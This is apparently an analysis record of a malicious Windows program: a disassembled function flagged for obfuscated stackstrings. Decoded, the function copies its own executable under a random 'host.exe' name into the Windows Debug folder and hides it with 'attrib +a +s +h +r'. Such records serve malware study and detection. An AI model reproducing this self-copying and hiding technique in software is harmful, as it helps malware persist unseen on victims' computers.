Function at 0x402ca7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b8
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push edi
mov ebx, 0x408144
push str.WinExec
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push eax
call edi
push str.GetWindowsDirectoryA
push ebx
mov dword [ebp - 0x1c], eax
call esi
push eax
call edi
push str.GetModuleFileNameA
push ebx
mov dword [ebp - 4], eax
call esi
push eax
call edi
push str.CopyFileA
push ebx
mov dword [ebp - 0x24], eax
call esi
push eax
call edi
mov dword [ebp - 0x20], eax
mov esi, 0x104
lea eax, [ebp - 0x2b8]
push esi
push eax
push 0
call dword [ebp - 0x24]
lea eax, [ebp - 0x164]
push esi
push eax
call dword [ebp - 4]
and byte [ebp - 0xa], 0
push 0x1a
mov byte [ebp - 0x18], 0x25
mov byte [ebp - 0x17], 0x63
mov byte [ebp - 0x16], 0x25
mov byte [ebp - 0x15], 0x63
mov byte [ebp - 0x14], 0x25
mov byte [ebp - 0x13], 0x63
mov byte [ebp - 0x12], 0x68
mov byte [ebp - 0x11], 0x6f
mov byte [ebp - 0x10], 0x73
mov byte [ebp - 0xf], 0x74
mov byte [ebp - 0xe], 0x2e
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x78
mov byte [ebp - 0xb], 0x65
call fcn.00403c60
pop ecx
add eax, 0x61
push eax
push 0x1a
call fcn.00403c60
pop ecx
add eax, 0x61
push eax
push 0x1a
call fcn.00403c60
pop ecx
add eax, 0x61
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1b4]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
mov byte [ebp - 8], 0x5c
mov byte [ebp - 7], 0x44
mov byte [ebp - 6], 0x65
mov byte [ebp - 5], 0x62
mov byte [ebp - 4], 0x75
and byte [ebp - 1], 0
or ebx, 0xffffffff
lea edi, [ebp - 8]
mov ecx, ebx
xor eax, eax
mov byte [ebp - 3], 0x67
mov byte [ebp - 2], 0x5c
lea edx, [ebp - 0x164]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edi, edx
mov edx, ecx
mov ecx, ebx
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x164]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x1b4]
mov ecx, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
mov ecx, ebx
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x164]
mov ecx, edx
push eax
and ecx, 3
lea eax, [ebp - 0x2b8]
rep movsb byte es:[edi], byte [esi]
push eax
call dword [ebp - 0x20]
lea eax, [ebp - 0x164]
push 5
push eax
call fcn.00402c2e
mov edi, dword [ebp + 8]
pop ecx
pop ecx
xor eax, eax
push 0x41
mov byte [ebp - 0x60], 0x61
pop ecx
mov byte [ebp - 0x5f], 0x74
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x164]
mov ecx, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [ebp - 0x5e], 0x74
mov eax, ecx
mov esi, edi
mov edi, dword [ebp + 8]
mov byte [ebp - 0x5d], 0x72
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov byte [ebp - 0x5c], 0x69
and ecx, 3
mov byte [ebp - 0x5b], 0x62
rep movsb byte es:[edi], byte [esi]
mov byte [ebp - 0x5a], 0x20
mov byte [ebp - 0x59], 0x2b
mov byte [ebp - 0x58], 0x61
mov byte [ebp - 0x57], 0x20
and byte [ebp - 0x4d], 0
push 0xa
pop ecx
xor eax, eax
lea edi, [ebp - 0x4c]
mov byte [ebp - 0x56], 0x2b
mov byte [ebp - 0x55], 0x73
mov byte [ebp - 0x54], 0x20
mov byte [ebp - 0x53], 0x2b
mov byte [ebp - 0x52], 0x68
mov byte [ebp - 0x51], 0x20
mov byte [ebp - 0x50], 0x2b
mov byte [ebp - 0x4f], 0x72
mov byte [ebp - 0x4e], 0x20
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x164]
mov ecx, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x60]
mov esi, edi
mov edi, edx
mov edx, ecx
mov ecx, ebx
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
lea eax, [ebp - 0x60]
rep movsb byte es:[edi], byte [esi]
push eax
call dword [ebp - 0x1c]
pop edi
pop esi
pop ebx
leave
ret